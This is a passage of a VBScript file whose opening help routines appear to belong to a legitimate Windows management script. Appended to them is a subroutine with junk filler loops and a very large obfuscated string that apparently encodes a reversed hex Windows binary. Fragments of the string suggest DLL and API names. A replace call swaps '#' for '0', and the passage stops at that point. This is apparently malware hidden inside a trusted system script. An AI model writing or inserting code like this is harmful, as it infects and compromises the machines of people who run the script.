GetResource("L_HelpUris_015_7_Message") & NL & _
GetResource("X_HelpUris_015_8_Message") & NL & _
GetResource("L_HelpUris_015_9_Message") & NL & _
GetResource("L_HelpUris_016_0_Message") & NL & _
GetResource("L_HelpUris_017_0_Message") & NL & _
GetResource("L_HelpUris_018_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - ALIAS
Private Sub HelpAlias(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpAlias_001_0_Message") & NL & _
GetResource("L_HelpAlias_002_0_Message") & NL & _
GetResource("L_HelpAlias_003_0_Message") & NL & _
GetResource("X_HelpAlias_004_0_Message") & NL & _
GetResource("X_HelpAlias_005_0_Message") & NL & _
GetResource("X_HelpAlias_006_0_Message") & NL & _
GetResource("X_HelpAlias_007_0_Message") & NL & _
GetResource("X_HelpAlias_008_0_Message") & NL & _
GetResource("X_HelpAlias_009_0_Message") & NL & _
GetResource("L_HelpAlias_010_0_Message") & NL & _
GetResource("L_HelpAlias_011_0_Message") & NL & _
GetResource("x_HelpAlias_012_0_Message") & NL & _
GetResource("L_HelpAlias_013_0_Message") & NL & _
GetResource("L_HelpAlias_014_0_Message") & NL & _
GetResource("X_HelpAlias_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message")
End Sub

Sub jj(te, ve)


Dim variableSinUso1
Dim variableSinUso2
Dim variableSinUso3

For i = 1 To 1000
variableSinUso1 = i * 2
variableSinUso2 = variableSinUso1 + 5
variableSinUso3 = variableSinUso1 / variableSinUso2
Next

Do While variableSinUso3 > 0


variableSinUso3 = variableSinUso3 - 0.1
If variableSinUso3 < 0.1 Then
variableSinUso3 = variableSinUso3 + 0.05
End If
Loop
variableSinUso1 = variableSinUso3 * 2
variableSinUso2 = variableSinUso1 - 5
variableSinUso3 = variableSinUso1 + variableSinUso2

hrd
Dim vagh: vagh =
"##################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
##########################################3#8#3A7#347#3E6#386#326#3C5#365#3#5#3A4#3
44#3E3#383#323#3C2#362#3#2#3A1#341#3E##38##32#######43#####6######73C57385734573#57
344734173#173C#738#63CF634C63#C63CB638B63CA63C86388634863#8634763C46384634463#46343
6381634163#163C#63##53CD538D534D538C534A53C65386534653#653C55385534553#553C45384534
453#453C35383534353#353C25382534253#253C15381438F438D434B43CA438A434A43#A43C9434943
C84388434843#843C7434743C64386434643#643C5434543C44384434443#443C3434343C2438243424
3#243C1434143C#438#434#43##33CF334F33CE338E334E33#E33CD334D33CC338C334C33#C33CB334B
33CA338A334A33#A33C9334933C83388334833#833C733873385338333C#338#334#33##23CF23CE238
E234E23#E23CD23CC238C234C23#C23CB23CA238A234A23#A23C923C82388234823#823C723C6238623
4623#623C5238523#523C42384234423#423C323C22382234223#223C123C#238#234#23##13CF13CE1
38E134E13#E13CD1381134113#113C#138#134#13###3CF#38F#34F#3#F#3CE#38E####1##8#####4##
#364#383#3#3#382#######1#####3######73A4732373C27342636D63DB637B63FA63F86398536953#
95381531#43BF2345231113AD13#A13261382######43#####2##D344D3B2D312C3CFC3AEC38DC36CC3
4BC32AC3#9C3E7C3F6C3#6C315C324C333C342C351C36#B36CB3A8B344B322B3D1A31AA3B9A339A366A
3#6A3A59383836D833C835B83DA83A#73DF7311635F63FE43CB43F3438133FA33E933383347333333C2
331223DC23CB231923A723D523A2234223812321232#131F13AD131A132913681375132513D4139##35
A#3#A#3B9#319#337#336#335#3E3#352#3F1#3E#######8A#####1############################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###########################################2756672756352756473796765627E655C6C644##
2756672756352756473796765625C6C644##C6C6164737E694C6C644##473656A626F4373716C634475
674C6C644##77F6E44616F6C6E655E61634C6C644##C6C646E287#7162777E69746####117E#####113
####2125####21#7#####1E1#####78A#####769#####7B8#####797#####796######4###3###2###1
##########782#####743#####784######5#######5#######1######7C5########848F5753######
###################################################################################
###################################################################################
###################################################################################
#######################################################################E656C476E696
27473536F6C6C614379735##A5##76E69627473556562764379735##B5##76E69627473536F6C6C6143
79735##85##C6C646E2233345551454C4F4##44945574C6165717543794##5D##C6C646E2233356C6F6
####E656C63736773#C2#####7D63696373677F52#82####E656C62747373#4#####6647E69627#7372
#8F##C6C646E24727366737D6##9727F6D656D45667F6D4C647252#CB##2716863456469675F6455647
97249647C657D42#D5##564797249647C657D4F64527168634564696753#77####75972716272696C44
616F6C42#D3####56562764C61626F6C6741#AE####47E656D656273656444656B636F6C6275647E694
2#21####47E656D6562736E6944656B636F6C6275647E6942#61##36F6C6C614C61626F6C6741#3E##9
72716272696C456562764##9E##1456E696C446E616D6D6F6344756741#2#####1456D616E456C69664
56C65746F6D44756741#C6####3737562746461436F627#54756741##9####14972716272696C44616F
6C42#A3####37C6C61634972716272696C446165627864556C62616379644##48##C6C646E22333C454
E42554B4############36E4####36E3####36D2############3621############26EF####262F###
#268E####26DD############262C####26CA####2669####2668####2687####26#6####2684####26
A3####26C2####26A1####264#####162F####162E####165C############36E4####36E3####36D2#
###########3621############26EF####262F####268E####26DD############262C####26CA####
2669####2668####2687####26#6####2684####26A3####26C2####26A1####264#####162F####162
E####165C############################################16#4####36#2##################
##168A####1683####368#####################16#A####1642####262D####################1
6C8#####68E####168B####################16#5#1##168452FF#1##164452FF#1##16#452FF#1##
168352FF#1##16#352FF#1##16C252FF#1##168252FF#1##164252FF#1##16C152FF#1##168152FF#1#
#164152FF#1##16#152FF#1##16C#52FF#1##168#52FF#1##164#52FF#1##16##52FF#1###6CF52FF#1
###68F52FF#1###64F52FF#1###6#F52FF#1###6CE52FF#1###68E52FF#########################
###################################################################################
###################################################################################
#################4#4E4#9###########E6##F6##96##47##16##C6##37##E6##16##27##45######
4###42##########F6##66##E6##94##56##C6##96##64##27##16##65##1#######44###########3#
##3##E2##13######E6##F6##96##37##27##56##65##47##36##57##46##F6##27###5##1###5###E2
######85##27##56###7###7##16##27##75##36##96##D6##16##E6##97##44##########56##D6##1
6##E4##47##36##57##46##F6##27###5##1####1###4##########C6##C6##46##E2##87###7##16##
27##77##E6##97##46######56##D6##16##E6##56##C6##96##64##C6##16##E6##96##76##96##27#
#F4##1###D###24##########83###3###3##23###2##C2##67##F6###7##F6###5###2##96##27##57
##95###2##9A######47##86##76##96##27##97###7##F6##34##C6##16##76##56##C4##1###31##A
4##########87###7##16##27##77##E6##97##46######56##D6##16##E4##C6##16##E6##27##56##
47##E6##94##1###9###23###########3###3##E2##13##########E6##F6##96##37##27##56##65#
#56##C6##96##64##1###5###A2##########47##36##56##A6##26##F6###2##85##27##56###7###7
##16##27##75##36##96##D6##16##E6##97##44##########E6##F6##96##47###7##96##27##36##3
7##56##44##56##C6##96##64##1###71##65##################56##D6##16##E4##97##E6##16##
#7##D6##F6##34##1###1###22##########E2##47###7##96##27##36##35##24##65###2##46##E6#
#16###2##47###7##96##27##36##35##A4###2##E6##96###2##37##C6##C6##16##36###2##E6##F6
##96##47##36##E6##57##66###2##C4##C4##44###2##27##F6##66###2##37##77##F6##C6##C6##1
4######37##47##E6##56##D6##D6##F6##34##1###73##68######43##54##43###3##93###3##43##
#3##1#####2#A7######F6##66##E6##94##56##C6##96##64##76##E6##96##27##47##35##1#####2
#E9##############################2#######4###########################1#############
##1#######1#####EFFE4#DB##########F4##64##E4##94##F5##E4##F4##94##35##25##54##65##F
5##35##65######433##4####################3##4#####585######84####4#91##1###########
##848F5753#########8#####3######1###1#############848F5753#########8####81#######1#
#1#####43#31494848F5753############################################################
###################################################################################
###################################################################################
###################################################4214F42#########################
#######37523752##14#1##64CF#1##51#D#1##74E3#1##74A2######5########1#1##7481########
##########A#######A#######A#######A#######A#######27##56##47##37##96##76##56##25#1#
#64CA#1##A1#4#1##646F#1##64AE######3#######F##1##648C##########3#######A#######A###
####3#######B6##36##16##26##C6##C6##16##34##27##56##47##37##96##76##56##25#1##6447#
1##425D#1###342#1##64E9######3#######E##1##64#9##########A###############3#######47
##56##74##D6##57##E4#1##6443#1##52A6#1##64E6#1##64E5######4#######D##1##64#5#######
###3#######A###############3#######A1######47##57###5##D6##57##E4#1##64###1##6281#1
##64#3#1##6482######2#######C##1##64C1######A1######A#######2#######56##36##16###7#
#35#1##548C#1##6227#1##54AF#1##542F######2#######B##1##544E##########3#######A#####
##A1######27##47###5##27##47##35#########1##726##1###3#2#1##54EB######2#######A##1#
#54#B##########A#######3#######47##56##74##27##47##35#################1##323E######
###################################################################################
################1##32E9#1##325A#1##329D#1##32F6#1##3238#1##32#4#1##3233#1##3274#1##
3253#1##32E4#1##32E4#1##3263#1##3263#1##324##1##324##1##324##1##324##1##324##1##324
##1##324##1##324##1##22D9#########################################################1
##224A#########################################################1##22ED#############
####################################################1##2224#########1##22#5#1##2246
#1##2273#1##22E3#1##2224#########1##22A7#########1##2229#1##2288#1##22F6#1##2267#1#
#22A7#########1##228##########1##22C2#1##2212#1##22###1##22###1##22D##########1##12
1D#########1##125F#1##12AE#1##126C#1##12DC#1##126D#########1##1279#########1##12BB#
1##12#B#1##1288#1##12F8#1##12C9#########1##1295#########1##12D7#1##1227#1##12E4#1##
1255#1##12E5#########1##12F1#########1##1234#1##1283#1##12#1#1##1271#1##1242#######
##1##12F1#########1##1234#1##1283#1##12#1#1##1271#1##1242#########1###2BE#########1
###2AF#1##125##1###2#E#1###27E#1###2#F#########1###2BB#########1###2AC#1###25D#1###
2#B#1###27B#1###2#C#1###224########################################################
#1###294#########################################################1###293###########
######################################################################1###26##1##F1
FE#1###222#1###2A1#1###221#########################1##F1BB#1##F13C#1##F1FD#1##F17D#
1##F1FC#########################1##F129#1##F1A9#1##F177#1##F1C6#1##F158############
#############1##F134#1##F1B4#1##F132#1##F163#1##F173#########################1##E1A
F#1##F12##1##E13D#1##E
1AD#1##E1DE#########################1##E1AA#1##E12B#1##E198#1##E1#9#1##E1A9#1###293
#########1##E1D4#1##E1A5#1##E126#1##E1A3#1##E114#1##E1D4#########################1#
#E1A5#1##E126#1##E1A3#1##E114#1##E1D4#########################1##E11##1##E19##1##D1
#F#1##D17F#1##D18F#########################1##D17C#1##D1FC#1##D16B#1##D1DB#1##D1EB#
#####8###8#######9###4###5###11##2###3#######A1##A5##35##75##64##44##24##34##45##E4
###5##55##84##C4##A7##37##77##66##46##26##36##47##E6###7##57##86##C6######149756B45
64756C656448435##C6C646E296#71677C68637##3752C53752##449435C434##3752C53752##233327
566727563536F627#5E694##9756B45637F6C634765625##1487545657C61665475635765625##14875
49756B4564716562734765625##C6C646E2233396#716674614#1##41EA#1##4153#1##41D2#1##4152
#1##314F#1##314E#1##31E8#1###48E#1##31C6#1##312##1##21CF#1##216F#1##21FACCCDE539B87
9E219A4347A419865255764#############C##########2#4###64#############C##############
1#64#############C######################################################D7343434445
453339324837393D254231393D233431643D243137314D25373235363539383B7C5449435C434C53756
373716C634C5562716774766F635##852756#7#71627753696D616E69744C53756373716C634C556271
6774766F635##D7343434445453339324837393D254231393D233431643D243137314D2537323536353
9383B7##852756#7#71627753696D616E69744#############################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
##1###3C3######C6##C6##16##36#1###3#5######F##1##C12##########1##7444##############
A##########################8####2##################################################
###################################################################################
###################################################################################
###################################################################################
################################7EBE9F#82###E#8BFEBE9F#82###5#8B##C#2CD5E5F5B5CE988
F8154B8#1###3#251983127A#AF38A4AC92B157FA662FCFAC989E1D#1##144CD#B8#1##14#9FB##B866
#1##72F18B######774#BEB#57#C58C154B8D4476F588157B84#CE385E98357565557EBE9F#82###E#8
BFEBE9F#82###5#8B##C#2CD5E5F5B5CE988F1#27FFFF6F6A8E#3FF65##A6##A6#D1#8D1##1##14CD8B
5#3E1C422771BF38B4BC92C257FA662F9E1DBC98#1##144CD#B8#1##14#9FB##B866#1##62AA8B#####
#774#BEB#57#C58C154B82#2E1CA4AC92B557FA662FCFAC98#1##148DD#B8#1##148CFB6#B8######87
48F#6F588157B84#CE385E9835756555FEBE9F#87###E#8B##C#2CD5E5F5B5CE988F#D98####7#7C66B
A662#37BA3FCF9E1D81D4B8###2###28B5#BE8D9866#1#E1C8D986681B866E#47#C58C154B87C982C98
B347#C58####A3358E##A68157FF4#CE385E98357565559DBE9F#8###43#8B1EBE9F#82###5#8B6EBE4
#6C38E19DDEBE8#6C38E1DD##412CD5E5F5B5CE988F#F984#6C386#985#BE64646#9866C#BE646#88B2
BE62479#BF3842478#BF38C#677#BF3861675#BF3822673#BF38F227FFFF7FA48E8157FFCF424#3855C
FD59885779#BF38B4BC92#######658F#FA662FCFBC989E1D#1##144CD#B8#1##14#9FB##B866F1BEBD
134#57#C584254B8#2573#######2948F#6F58C157B84#CE385E9835756555#DBE9F#8###43#8B8DBE9
F#82###5#8BFDBE6#DD3EBDB96EBE6#9D3EBDB9DEBE6#A81FBE6#B866###12CD5E5F5B5CE988F6#B832
BE71479#AF3832478#AF38D1677#AF38D1675#AF3861673#AF38#1###3425198A4AC92######7458F#F
A662FCFAC989E1D#1##144CD#B8#1##14#9FB##B866F1BE2D134#57#C58#254B8C1573#######9748F#
6F588157B84#CE385E9835756555FEBE9F#8###43#8B##4#2CD5E5F5B5CE988F3F2E9D98####B39B8E#
5BC98DACF####1##97BD8413EC#F4B8FE2E9D987257#C58####B3498E#5BC98DACF####1##17BD8813E
8#F4B841D7B84#CE385E9835756555FBBE9F#87###E#8B7CBE8FC#A49814####1##9A84898C#A4B8415
5B84147#C58####C3118EC#57FF8#BE####C3728EC#57FF#157FFD#47###1D738###12CD5CE988F85##
##C3#18E#5C#57FF#157FF#5E#47##C#D7388#A49814####1##1A848988#A4B84155B8F547#C58####C
3E#8E##A6#157FFA377##8#D7384#CE385E9855#9#9#9#9#9#9#9#9#9#9#9#93C9F#87###E#8B3C8F##
8#7#7C668#7498A#47#C58####C3398E#5A#BEE5F5#F98####C3578E35##A6#575657574698247#C58#
###C3DB8E##A6#57C984#4C38####C36A8E#56C987565########BB5#BE######1#BB3C8F4#6C383#47
6F58##5#7#7C668#F5DDCF64DD3EBDB96#476F583C8F##5#7#7C668#F5DDCF649D3EBDB96#476F583C8
F##5#7#7C668#F5DD8FD6FD3EBDB9########CF547C8F54981E67F7FFFFFFD38EBE####FFFF52FEBE##
####FF523C8F##3#7#7C668#7498898966##C#2CD5E5F5B5CE98#F982#274155FF4#6C386#B85#476F5
8C157B881D7B88#CE385E98357565553C8F73984#FE383C9F#87###E#8B3C8FA#98144#E5986#98#1AC
47D8A#B8#255B87#9831874#FE38####4##BBB5#BEB5#F98####D3F98E35####D3F68E#5##A63525653
9A57347#C58####D3#B8E65#5#5##A6##A6#44#4C38####D34B8E#56C9835########BB5#BE######1#
BB6EBE8#E5DD8#649D3EBDB93C8F7#984#FE388#64D8##5#6#7C668#E5DD8#64BD3EBDB98#6498891#B
E######FF52CDBE8#E59D8#64DD3EBDB93C8F7#984#FE38FFFFEFA38E#1##A192AB8#64D8##4#6#7C66
8#E59D8#64BD3EBDB98#6498891#BE######FF521DBE8#E5BD8#649D3EBDB9CDBE8#E5BD8#64DD3EBDB
93C8F7#984#FE38FFFFEFD78E#1##A1F1AB8#64D8##3#6#7C668#6498######FF521DBE8#E5BD8#649D
3EBDB9CDBE8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFEF4B8E#1##A171AB8#64D8##3#6#7C668#649
8891#BE######FF521DBE8#E5BD8#649D3EBDB9CDBE8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFEFEE
8E#1##A1D#AB8#64D8##3#6#7C668#6498####FFFF525#BE######FF521DBE8#E5BD8#649D3EBDB9CDB
E8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFFFC28E#1##A17#AB8#64D8##3#6#7C668#6498891#BE##
####FF521DBE8#E7FD8#649D3EBDB9CDBE8#E7FD8#64DD3EBDB93C8F7#984#FE38FFFFFF668E#1##91A
EAB8#64D8##3#6#7C668#6498####FFFF525#BE######FF52BDBE8#E7FD8#64DD3EBDB96EBE8#E7FD8#
649D3EBDB93C8F7#984#FE388#64D8##3#6#7C668#6498891#BE######FF52BDBE8#E5BD8#64DD3EBDB
96EBE8#E5BD8#649D3EBDB93C8F7#984#FE388#64D8##3#6#7C668#6498891#BE######FF523C854#84
98144#37983198#######98CC9D84#84B8#254B8#53C9F#87###E#8B3E57#C58####F3898E##A6#55BB
E#F98####F32C8E35##A6#52565A569D127####3#F88E##A6##A6#5#257FF#247FF58#5#5##A6##A6#4
4#4C38#####4#18E#56C98########BB5#BE######1#BB3C8F7#982#874#FE383C9F#87###758B7DBE8
F54BD3EBDB98F5498######FF527EBE8#64FD3EBDB9FEBE8#64BD3EBDB93C8FF19D2#874#FE388#649D
3#BEE257##819A66#EFDB98F559D2EBDB98#64DD3EBDB97DBE8F54BD3EBDB98F5498######FF527EBE8
#64FD3EBDB9FEBE8#64BD3EBDB93C8FF1DD2#878#FE388#64DD3#BE8#649D3EBDB93C9F#87###758B8B
BE8F54B85#57##129A66#EFDB98FD5FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE4277######FFD
3B287#C9#3C8F7#982#874#FE38######FF52D377##FFD3663487#C9#663C9F#87###758B1DBE8F54B8
5#57##129A66#EFDB98FD5FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE42C7#88F3892F7F78F388
93C8F7#982#874#FE388377F78F38######FF523C9F#87###758B1DBE8F54B85#57##129A66#EFDB98F
D5BD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE4277####FFFFD3B287#C9#3C8F7#982#874#FE38#
###FFFF52D387#C9#66A#BE######FF523C9F#87###758B4CBE8F54B85#57##129A66#EFDB98FD5FD2E
BDB98#64DD3EBDB96#BE8#649D3EBDB97EBE42C7FFFF#8##D3B2F7####F7FFD33C8F7#982#874#FE388
91#BE######FF523C9F#87###758BFCBE8F54B85#77##CFD738B#57##129A66#EFDB98FD7FD2EBDB98#
64DD3EBDB96#BE8#649D3EBDB93C8F7#982#874#FE381387#C9#4#BE####FFFF52C387#C9#66#1BE###
###FF523C9F#87###758B5C87#C584#57FFAF389#97#D472D58CF55B88F54B85157##129A66#EFDB98F
D7FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB93C8F7#982#874#FE38891#BE######FF523C9F#87###7
58B5DBE8F54B85#57##129A66#EFDB98FD5BD2EBDB98#64DD3EBDB96#BE8#649D3EBDB93C8F7#982#87
4#FE38891#BE######FF52###12CD5E5F5B5CE988F982#87FF586#274155FFC1D7B88#64B88157B841C
E385E9835756555#9#9#9#9#9#9#9#9#9##8#2CD5E5F5B5CE989F#82###5#8B7ABEC285D8CA575#C287
38667#473#C28738668#34B8##8#2CD5E5F5B5CE98######738E#535##A6##A6A247#C58##B8#1##14C
D#8D8#D1#5##E1C6#B82#2E1CA4AC923457FA662FCF#1##148CFB3#B866AC98#1##148DD#B834479#B3
38668157B841D5B84#CE385E9835756555FFFFEF2F9EFFFFDFAB8E#1##13#486#5#E98FFFFFF4#9EFFF
FDFCC8E#1##13#386#5#E98FFFFFF619EFFFFDFED8E#1##13#286#5#E98FFFFFF829EFFFFDF#F8E#1##
13#186#5#E98FFFFFFA39EFFFFEF2#8E#1##13##86#5#E98FFFFFFC49EFFFFEF418E#1###3#F86#5#E9
8FFFFFFE59EFFFFEF628E#1###3#E86#5#E98FFFFFF#79EFFFFEF838E#1###3#D86#5#E9828BEFFFFEF
748E#1###3#C86#5#E9819BEFFFFEF658E#1###3#B86#5#E98#ABEFFFFEF568E#1###3#A86#5#E98FAB
EFFFFEF478E#1###3#986#5#E98EBBEFFFFEF388E#1###3#886#5#E98DCBEFFFFEF298E#1###3#786#5
#E98CDBEFFFFEF1A8E#1###3#686#5#E98BEBEFFFFEF#B8E#1###3#586#5#E983CCC1#C#4#F8FEBE9F#
82###5#8B##412CD5E5F5B5CE988F#C1342D4B29F98ED2E7C98C#2795####7#F28E25357515#1BE3842
472D58#1B8#1##54C35#2##E1CDACF8157B842D7B8E23E8#34F83#F89#A64157FF#1BE38#2D5B8C1D4B
84#CE385E9835756555CCBE#C13BB47#C588135FF75##A6#1###48986##A61#A6CE424#3855CD424#38
55##A6##A6##8#2CD5E5F5B5CE984#9E38CFD4B8#327####1#4A8ECD424#3855C#67FFF#47##C#E7385
457#C588135FF754D57FF#1###48986##A61#A6CE424#3855CD424#3855##A6##A64F54FF9457#C5841
35FF75#1###48986#1###364861#A6##A64D424#3855########4E547C####CD547C66F1B8########8
F547C#########F547CCFD498######9A8E75251535#5E3B84##C388154B8CE56984C924##E1C#48C98
4FD4984#E4B88#65B84157B83E98#3CE385E98357565557EBE9F#82###A#8BFEBE9F#82###E#8B###12
CD5E5F5B5CE988F#1###3#3D398#1###343D33#8F98#1###3835398#16C38C#64F88#64F84#64F86#F8
8157FF1525#59227FFFFBFED8E1#A6C157FF#257FF##A6B477#1##C18FFF18#1###3#3D3B8#1###3835
3B84#65FF3533B881D5B8#647##81D7384#CE385E9835756555#9#9#9#9#9#9#9#9#9#93C##5###7C66
F1DD7#9D3EBDB93C7#98######FF527#B83C7#988989667#B83C7#98####FFFF527#B83C7#98897#B83
C##5###7C66F1DDF2FD3EBDB9########4#747C3C1#77F7FFFFFFF318##4#2CD5E5F5B5CE988F5F2E3D
FF8#87D8DA3C98DACF#######9#BD8213E4#84B84154B84#CE385E98357565553EBECF3498#E1D4#4C3
8####643B8E35##4#2CD5E5F5B5CE988F#C2E95####648A8E#5##A675153515857C98312795####A#27
8E##A635154157FF15CF3498#E1D141C984#4C38####644E8E35#5E347####4##BD3DA3C98DA15CF#1#
7D8443E8#B84154B84#CE385E9835756555##8#2CD5B5CE98####9#3C8E33FFC#57FF##A6#1##54C3B9
D82#3E1CB1B8#1D5B84#CE385E983555##412CD5E5F5B5CE989F#82###5#8B29BEC2#5D879575#C2873
8667#473#C28738668#34B8##412CD5E5F5B5CE
988FE92E95#13C38#25498A#27####4#3A8E#3FF25#257FF4257FF9347##8338#1##14CD#8D88C1#5##
E1C6#B84#EE382#1E1C#1##148DD#3#9D7F14A557FA662F#1##148CFB2#B866#1##148DD#B81585479#
B338666#BE8#35B85#47#4##3#7F66AD98CFE843D8C157B881D5B841D4B84#CE385E9835756555#9#9#
9#9#9#9#9#9#9#9#9#9#9#9#948BE9F#87###6#8BFFFFFF8558F##C58####745A8EFFFFEFCF424#1855
####74EE8E##A6##A6C#57FFFFA6FFFFEFCF424#1855####1#4#86##A6##A6#CBE9F#8###43#8B7C57#
C58####743E8E35FFFFDFCF424#1855####84938EFFFFDFCF424#1855#1##742686FFFFDFCF424#1855
#1##74#686##8#2CD5B5CE988F8#47#C58####84C18E35FFFFDFCF424#1855####84#68E##A6##A6#15
7FFFFA6FFFFDFCF424#1855####1###86##A6##A63C984747#C58####84F78EC#57FF####2#4#CE185E
9835557EBE9F#87###E#8BFEBE9F#87###758B###12CD5E5F5B5CE988FFFFFEF4F58B8FFFFEF8F59B8F
FFFEFCFD8B8FFFFEFDF28F#3#BF38FFFFEF4F5898#198D277C#AF38FFFFFF##59B831BEFFFFEF8F5898
5A3FCFFFFFFF##5BD87C98FFFFEFCFD89891272#2EABF#95A5######1648F##C58####84AE8E##A6152
#1E1C2515######E648F#9C58ABBE14BAF5958C1#9E1D2#37##2EABF##1##144CD#B88D7F8C9814####
##1958F#FA662F9E1D2#37##2EABF##1##144CD#B8#1##14#9FB15753F47#28F3866F347#C5866DA669
C13######EB48F#######6#2C7F######AC9E######AA48F#668F38661DBE2#AEABF#6#57278F3866DD
BE1#AEABF#6#57968F38667247D38F3866FE47#28F3866######DF48F##C5866DA66341#2E38FFFFFF#
#DBD8######6F48F#6F5881D947B8CF4155B8FFFFEF4FD998FFFFEF8FD998FFFFEFCFD998BD13####1#
C#CE185E98357565557EBE9F#87###E#8BFEBE9F#82###E#8B##812CD5E5F5B5CE988F8#349881#4F84
1#4F8#1#4F8C##4F88##4F84##4F8##F89247#C58####A4##8E##A6C1A6#5758347#C58####A4D58EC1
57FF1525#56327######158E##A6#257FF4257FF8257FF#565744#E7B88#37B841D5B84527####1#1C8
E8157FFC157FFA647##C1D7384#CE385E9835756555#9#9#9#9#99DBE7977#1C1D7381EBE#82###E#8B
8EBE#82###3#8BFEBE#82###1#8B##422CD5E5F5B5D9CE98#C13####E#FD8EFFFFDFCE424#1855F#27#
###3#CB8EFFFFDFCE424#1855####4#738EFFFFDFCE424#1855B227####3##B8E#357FF#137FFD#47##
#3D7383147###1B7383627CF56B84135FF8157FF3#77#14#B7384C987527####3#538E8#27FF23FFC#3
7FF15FFFFDFCE424#1855C#C#D8CC923#1E1C223E######1958F#8#B4B3B#BEF23E##A6##A6##A6##A6
##A6E#77#14#B7388#A4B8C255B8CF5698EEBE######2B48F#BD5881B5B8D#474#35B38#B5B881D5B8C
155B8FFFFDF8F5898FFFFDF4F5898FFFFDF#F5898FFFFDFCE5898#C13######ED48F##C58####B44A8E
#257FF#1###48986####2#41CE185E98C935756555#FBE#82###1#8B##812CD5E5F5B5CE98CF54B84C2
E4#7C3871984#35B85#BE#82###6#CF547CFFFFFFFF7#7C4EBE2#47BD5881B5B881479585#C588#4C38
####B4#F8E#533FF#5158#B5B841D5B8DA82D7B8C157B8#2D4B8########CF547C8547#C58####C4128
E8157FF#1###489864#CE385E9835756555###12C#8###41#8B##8#2C#8###41#8B5EBE#C13####C4F#
8E#1###34#86####C4F18E35##4#2CD5E5F5B57#47#C58####C4A28E#54#34D841D5B85E9835756555#
#4#2C####C4938E#54##4D84#4244B86EBE#C13######4#8E4157FF3#984154B8##C#2CD5E5F5B5CE98
#8###42#8B########3#7C4157#C58####C41B8E8157FF#1###48A865257#C58####C42C8E8157FF#1#
##48C86C1D5B8####1#48CE185E9835756555FEBE####C4E98E#1###38#86##8#2C#C13####C43B8E#1
###38#86F#57##8#42C7389EBE#87###E#8B#FBE#84#1##18B###12CD5E5F5B5CE98#F98######1A8E3
56C98######348E35C157FF#257FF8#34F84#34F83#F8#1##14##861#A6#1###38253FF####D4##8E#1
###34#863C987447#C58####D4A#8E##A6C#A6D457##81D7384#CE385E9835756555##4#2C#4#C13##4
#2C#4#C13EEBE#C133#984154B8##C#2CD5E5F5B5CE98#8###42#8B3#98#157#C58####D4398E8157FF
#1###48A861257#C58####D44A8E8157FF#1###48B86C1D5B84#CE385E9835756555BEBE#84#1#118B3
#98C1D5B8##C#2CD5E5F5B5CE98######518E#1###4CF868157FFC157FF9147#C58####D46E8E4157FF
#1###48D864#CE385E9835756555##8#2CD5E5F5B5CE98#C13#8####1##1###3#15#7C4#CE385E98357
56555BEBE#87###5#8B2FBE#87###6#8B3CD5E5F5B5CE98####D41E8ECF57FF6157#C588F55FF#1###3
#153FF#1###473868257#C588F55FF#1###3#153FF#1###485868F5498####D4EF8ECF57FF#1##14188
6CF54986447#C58####E4C#8E#1##1457868#CE385E9835756555FFFFFF4#9E#8####1##1###3#15#7C
BEBE#87###5#8B2FBE#87###6#8B3CD5E5F5B5CE98####E4B58ECF57FFCE55FF8F57FFC157#C58#F55F
F8F57FF##A6##A61#A6#1###4#186#5#44#4C38####E4FB8E#1###4#186#457#C584F55FF#1###3#153
FFFFFFEF8E424#1855##A6##A6##A6##2###6#86##A68F424#3855##A6####E4CE8EFFFFEF8E424#185
5#1##14F686#1###47386#1##149686CE55FF8F57FF######B858F##C58#F55FF8F57FF##A6##A62#A6
FFFFDF4E424#1855#5#44#4C38####F4538EFFFFDF4E424#1855######9B58F##C584F55FF#1###3#15
3FFFFFFEF8E424#1855##A6##A6##A6##2###6#86##A68F424#3855##A6AE2E######FE48F#8D93####
##7F48F##D93CA8##E1C#C13BCF#ACF##294F2#2BB#296F2#2AB1C98####F4798E#56C98####F4D58E#
###F4E98EFFFFEF8E424#1855#1##143686#1###48586#1##144586####F4878E#1###3##53FFFFFFDF
4E424#1855####1#4#86CE5498####F4D88ECF57FF#1##148486#F5498####F4D98ECF57FF#1##14938
64F5498####F4DA8ECF57FF#1##149286CF5498####1#B748F##C58####F4FB8E#1##14C186####2#C1
CE185E98357565553C#4#C133#47#D9##1###38#51B8#1###34#1A##C#2C#4#C13####F48E8E#5#1###
3##3A4#4244B8F#571#8F388#4244B8####################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
#24#####4#############################3######4########8######2##A####36F6C65627E2#4
#####4############################E2######2########7########CB####1647164656E2#6###
##2############################A2######4########6######3#26####1647164696E2#4#####4
############################62######4########5######3##A######36273727E2#4#####4###
#########################E1######8########4######7##8######4737E6F636#C#####4######
######################C1######2########3######4##5########16471646#6#####2#########
###################4#######81#######1######71#7########5646F636####################
##################################86#####68E#######################################
#############################################################2##A#####8############
##########################3##A#####5########46#####648######CB#####7#########1#####
########1#####1######1########1##########2#####9D49####4########9################4#
##############4#####2########1###1###########3#######1#######1##############81#####
#81##62##1#B#12E####E################848F5753##7#1#C4####54#5##D6F636E2C6F6F6456756
44F674E2777777#2D63714F674#2C2B6E696C4F674#######612DCC44B12DC1###AB9#4B42A#D#12D61
62776F627#5#22333E69675###############4######11############FFFF######2#######1###C6
A5D4"
vagh = replace(vagh, "#", "0")
